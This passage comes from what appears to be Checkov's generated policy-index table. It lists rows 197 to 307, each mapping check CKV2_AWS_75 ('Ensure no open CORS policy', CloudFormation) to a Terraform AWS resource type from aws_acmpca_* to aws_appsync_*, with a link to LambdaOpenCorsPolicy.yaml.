[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 197 | CKV2_AWS_75 | resource | aws_acmpca_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 198 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 199 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 200 | CKV2_AWS_75 | resource | aws_acmpca_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 201 | CKV2_AWS_75 | resource | aws_acmpca_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 202 | CKV2_AWS_75 | resource | aws_alb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 203 | CKV2_AWS_75 | resource | aws_alb_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 204 | CKV2_AWS_75 | resource | aws_alb_listener_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 205 | CKV2_AWS_75 | resource | aws_alb_listener_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 206 | CKV2_AWS_75 | resource | aws_alb_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 207 | CKV2_AWS_75 | resource | aws_alb_target_group_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 208 | CKV2_AWS_75 | resource | aws_ami | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 209 | CKV2_AWS_75 | resource | aws_ami_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 210 | CKV2_AWS_75 | resource | aws_ami_from_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 211 | CKV2_AWS_75 | resource | aws_ami_launch_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 212 | CKV2_AWS_75 | resource | aws_amplify_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 213 | CKV2_AWS_75 | resource | aws_amplify_backend_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 214 | CKV2_AWS_75 | resource | aws_amplify_branch | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 215 | CKV2_AWS_75 | resource | aws_amplify_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 216 | CKV2_AWS_75 | resource | aws_amplify_webhook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 217 | CKV2_AWS_75 | resource | aws_api_gateway_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 218 | CKV2_AWS_75 | resource | aws_api_gateway_api_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 219 | CKV2_AWS_75 | resource | aws_api_gateway_authorizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 220 | CKV2_AWS_75 | resource | aws_api_gateway_base_path_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 221 | CKV2_AWS_75 | resource | aws_api_gateway_client_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 222 | CKV2_AWS_75 | resource | aws_api_gateway_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 223 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_part | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 224 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 225 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 226 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name_access_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 227 | CKV2_AWS_75 | resource | aws_api_gateway_gateway_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 228 | CKV2_AWS_75 | resource | aws_api_gateway_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 229 | CKV2_AWS_75 | resource | aws_api_gateway_integration_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 230 | CKV2_AWS_75 | resource | aws_api_gateway_method | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 231 | CKV2_AWS_75 | resource | aws_api_gateway_method_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 232 | CKV2_AWS_75 | resource | aws_api_gateway_method_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 233 | CKV2_AWS_75 | resource | aws_api_gateway_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 234 | CKV2_AWS_75 | resource | aws_api_gateway_request_validator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 235 | CKV2_AWS_75 | resource | aws_api_gateway_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 236 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 237 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 238 | CKV2_AWS_75 | resource | aws_api_gateway_stage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 239 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 240 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 241 | CKV2_AWS_75 | resource | aws_api_gateway_vpc_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 242 | CKV2_AWS_75 | resource | aws_apigatewayv2_api | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 243 | CKV2_AWS_75 | resource | aws_apigatewayv2_api_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 244 | CKV2_AWS_75 | resource | aws_apigatewayv2_authorizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 245 | CKV2_AWS_75 | resource | aws_apigatewayv2_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 246 | CKV2_AWS_75 | resource | aws_apigatewayv2_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 247 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 248 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 249 | CKV2_AWS_75 | resource | aws_apigatewayv2_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 250 | CKV2_AWS_75 | resource | aws_apigatewayv2_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 251 | CKV2_AWS_75 | resource | aws_apigatewayv2_route_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 252 | CKV2_AWS_75 | resource | aws_apigatewayv2_stage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 253 | CKV2_AWS_75 | resource | aws_apigatewayv2_vpc_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 254 | CKV2_AWS_75 | resource | aws_app_cookie_stickiness_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 255 | CKV2_AWS_75 | resource | aws_appautoscaling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 256 | CKV2_AWS_75 | resource | aws_appautoscaling_scheduled_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 257 | CKV2_AWS_75 | resource | aws_appautoscaling_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 258 | CKV2_AWS_75 | resource | aws_appconfig_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 259 | CKV2_AWS_75 | resource | aws_appconfig_configuration_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 260 | CKV2_AWS_75 | resource | aws_appconfig_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 261 | CKV2_AWS_75 | resource | aws_appconfig_deployment_strategy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 262 | CKV2_AWS_75 | resource | aws_appconfig_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 263 | CKV2_AWS_75 | resource | aws_appconfig_extension | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 264 | CKV2_AWS_75 | resource | aws_appconfig_extension_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 265 | CKV2_AWS_75 | resource | aws_appconfig_hosted_configuration_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 266 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 267 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 268 | CKV2_AWS_75 | resource | aws_appfabric_app_bundle | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 269 | CKV2_AWS_75 | resource | aws_appfabric_ingestion | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 270 | CKV2_AWS_75 | resource | aws_appfabric_ingestion_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 271 | CKV2_AWS_75 | resource | aws_appflow_connector_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 272 | CKV2_AWS_75 | resource | aws_appflow_flow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 273 | CKV2_AWS_75 | resource | aws_appintegrations_data_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 274 | CKV2_AWS_75 | resource | aws_appintegrations_event_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 275 | CKV2_AWS_75 | resource | aws_applicationinsights_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 276 | CKV2_AWS_75 | resource | aws_appmesh_gateway_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 277 | CKV2_AWS_75 | resource | aws_appmesh_mesh | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 278 | CKV2_AWS_75 | resource | aws_appmesh_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 279 | CKV2_AWS_75 | resource | aws_appmesh_virtual_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 280 | CKV2_AWS_75 | resource | aws_appmesh_virtual_node | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 281 | CKV2_AWS_75 | resource | aws_appmesh_virtual_router | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 282 | CKV2_AWS_75 | resource | aws_appmesh_virtual_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 283 | CKV2_AWS_75 | resource | aws_apprunner_auto_scaling_configuration_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 284 | CKV2_AWS_75 | resource | aws_apprunner_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 285 | CKV2_AWS_75 | resource | aws_apprunner_custom_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 286 | CKV2_AWS_75 | resource | aws_apprunner_default_auto_scaling_configuration_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 287 | CKV2_AWS_75 | resource | aws_apprunner_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 288 | CKV2_AWS_75 | resource | aws_apprunner_observability_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 289 | CKV2_AWS_75 | resource | aws_apprunner_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 290 | CKV2_AWS_75 | resource | aws_apprunner_vpc_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 291 | CKV2_AWS_75 | resource | aws_apprunner_vpc_ingress_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 292 | CKV2_AWS_75 | resource | aws_appstream_directory_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 293 | CKV2_AWS_75 | resource | aws_appstream_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 294 | CKV2_AWS_75 | resource | aws_appstream_fleet_stack_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 295 | CKV2_AWS_75 | resource | aws_appstream_image_builder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 296 | CKV2_AWS_75 | resource | aws_appstream_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 297 | CKV2_AWS_75 | resource | aws_appstream_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 298 | CKV2_AWS_75 | resource | aws_appstream_user_stack_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 299 | CKV2_AWS_75 | resource | aws_appsync_api_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 300 | CKV2_AWS_75 | resource | aws_appsync_api_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 301 | CKV2_AWS_75 | resource | aws_appsync_datasource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 302 | CKV2_AWS_75 | resource | aws_appsync_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 303 | CKV2_AWS_75 | resource | aws_appsync_domain_name_api_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 304 | CKV2_AWS_75 | resource | aws_appsync_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 305 | CKV2_AWS_75 | resource | aws_appsync_graphql_api | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 306 | CKV2_AWS_75 | resource | aws_appsync_resolver | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 307 | CKV2_AWS_75 | resource | aws_appsync_source_api_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 